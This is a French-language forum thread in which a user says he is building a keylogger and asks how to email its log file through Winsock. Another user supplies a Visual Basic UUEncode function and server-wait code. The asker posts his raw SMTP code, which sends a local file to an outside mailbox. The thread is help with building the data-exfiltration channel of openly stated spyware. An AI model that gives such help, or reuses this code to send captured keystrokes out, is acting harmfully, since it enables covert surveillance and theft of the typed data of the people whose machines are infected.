Email avec Winsock

Question

Dans le cadre de mon keylogger , j utilise winsock pour envoyer le log par email.

Le probléme que je rencontre c que j'envoie un fichier de + de 8k (vers une variable ensuite envoyer par winsock au destinataire), le mail n arrive pas!!!

La solution serait d attacher ce fichier au mail, mais j'ai bien trouvé qq source qui marche (mais trop rare!!), mais je n arrive pas a les adapter simplement (cause liste de destinataire, nb de fichier joint, etc..) a un simple envoie , vers un destinataire!!!!

Si qq peu m'aider!!!????

cs_EBArtSoft · Answer

voici une fonction pour encoder tes attachements :

Private Function UUEncodeFile(strFilePath As String) As String

    Dim intFile         As Integer      'file handler
    Dim intTempFile     As Integer      'temp file
    Dim lFileSize       As Long         'size of the file
    Dim strFilename     As String       'name of the file
    Dim strFileData     As String       'file data chunk
    Dim lEncodedLines   As Long         'number of encoded lines
    Dim strTempLine     As String       'temporary string
    Dim i               As Long         'loop counter
    Dim j               As Integer      'loop counter
    
    Dim strResult       As String
    '
    'Get file name
    strFilename = Mid$(strFilePath, InStrRev(strFilePath, "") + 1)
    '
    'Insert first marker: "begin 664 ..."
    strResult = "begin 664 " + strFilename + vbCrLf
    '
    'Get file size
    lFileSize = FileLen(strFilePath)
    lEncodedLines = lFileSize \ 45 + 1
    '
    'Prepare buffer to retrieve data from
    'the file by 45 symbols chunks
    strFileData = Space(45)
    '
    intFile = FreeFile
    '
    Open strFilePath For Binary As intFile
        For i = 1 To lEncodedLines
            'Read file data by 45-bytes cnunks
            '
            If i = lEncodedLines Then
                'Last line of encoded data often is not
                'equal to 45, therefore we need to change
                'size of the buffer
                strFileData = Space(lFileSize Mod 45)
            End If
            'Retrieve data chunk from file to the buffer
            Get intFile, , strFileData
            'Add first symbol to encoded string that informs
            'about quantity of symbols in encoded string.
            'More often "M" symbol is used.
            strTempLine = Chr(Len(strFileData) + 32)
            '
            If i = lEncodedLines And (Len(strFileData) Mod 3) Then
                'If the last line is processed and length of
                'source data is not a number divisible by 3, add one or two
                'blankspace symbols
                strFileData = strFileData + Space(3 - (Len(strFileData) Mod 3))
            End If
            
            For j = 1 To Len(strFileData) Step 3
                'Breake each 3 (8-bits) bytes to 4 (6-bits) bytes
                '
                '1 byte
                strTempLine = strTempLine + Chr(Asc(Mid(strFileData, j, 1)) \ 4 + 32)
                '2 byte
                strTempLine = strTempLine + Chr((Asc(Mid(strFileData, j, 1)) Mod 4) * 16 + Asc(Mid(strFileData, j + 1, 1)) \ 16 + 32)
                '3 byte
                strTempLine = strTempLine + Chr((Asc(Mid(strFileData, j + 1, 1)) Mod 16) * 4 + Asc(Mid(strFileData, j + 2, 1)) \ 64 + 32)
                '4 byte
                strTempLine = strTempLine + Chr(Asc(Mid(strFileData, j + 2, 1)) Mod 64 + 32)
            Next j
            'replace " " with "`"
            strTempLine = Replace(strTempLine, " ", "`")
            'add encoded line to result buffer
            strResult = strResult + strTempLine + vbCrLf
            'reset line buffer
            strTempLine = ""
        Next i
    Close intFile

    'add the end marker
    strResult = strResult & "`" & vbCrLf + "end" + vbCrLf
    'asign return value
    UUEncodeFile = strResult
    
End Function

dans la partie smtp tu ajoute :

datafile = uuencode("C:\monfichier.txt")

puis tu envoi datafile avec la partie DATA de ton mail 

@+
E.B.

pcpunch · Answer

Ok merci, tu va dire que je suis lourd mais je l envoie comment mon fichier ! je cherche depuis qq heures et !!!! voila mon code : Private Sub Winsock1_Connect() Dim DataFile As String DataFile = UUEncodeFile("C: est.txt") ' La connection est etablie on envoie maintenant les données Dim Send(1 To 9) As String ' Les donnees a envoyer Send(1) = "HELO " & "smtp.wanadoo.fr" & vbCrLf Send(2) = "MAIL FROM:" & "<" & "jean-philippe@wanadoo.fr" & " > " & vbCrLf Send(3) = "RCPT TO:" & "<" & "pcpunch59@hotmail.com" & ">" & vbCrLf Send(4) = "DATA" & vbCrLf Send(5) = "from: " & Chr$(34) & "jean-philippe@wanadoo.fr" & Chr$(34) & "<" & "jeanphi" & ">" & vbCrLf Send(6) = "to: " & "<" & "pcpunch59@hotmail.com" & ">" & vbCrLf Send(7) = "subject: " & "Test messagerie" & vbCrLf & vbCrLf Send(8) = DataFile & vbCrLf & vbCrLf & "." Send(9) = "QUIT" ' maintenant on les envoie en verifiant qu'il n'y a pas d'erreur On Error GoTo Erreur For x = 1 To 9 Winsock1.SendData Send(x) Me.Print x DoEvents Next x Winsock1.Close MsgBox "Envoi effectué avec succès!" Exit Sub Erreur: MsgBox "erreur" Exit Sub End Sub Merci++

pcpunch · Answer

Dsl Rectif pour la ligne
Send(8) = "Message" & vbCrLf & "." & vbCrLf

++

pcpunch · Answer

Merci !! EBArtSoft  mais comme j arrive pas a attacher le fichier avec mon mail voir la src au dessus, ben ton jolie code me sert strictement a rien , ceci dit merci qd mm!! mais j'en suis au mm point c a dire null part lol ++

Ps: si tu sais comment je peu faire!!!! ????????

cs_EBArtSoft · Answer

En fait tu doit envoyer ta piece jointe dans cette fameuse ligne 8 dans ta boucle for n'oublie pas d'attendre la reponse du serveur comme ceci :

Winsock1.SendData "DATA" & vbCrLf
WaitForServer

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim Buffer As String
    Winsock1.GetData Buffer
    DataIn = DataIn & Buffer    If Right(DataIn, 2) vbCrLf Then DataOk True
End Sub

Private Sub WaitForServer()
    DataOk = False
    DataIn = ""
    Do Until DataOk
        If Winsock1.State = sckClosed Then Exit Sub
        DoEvents
    Loop
End Sub

@+

E.B.

Email avec Winsock

5 réponses

Discussions similaires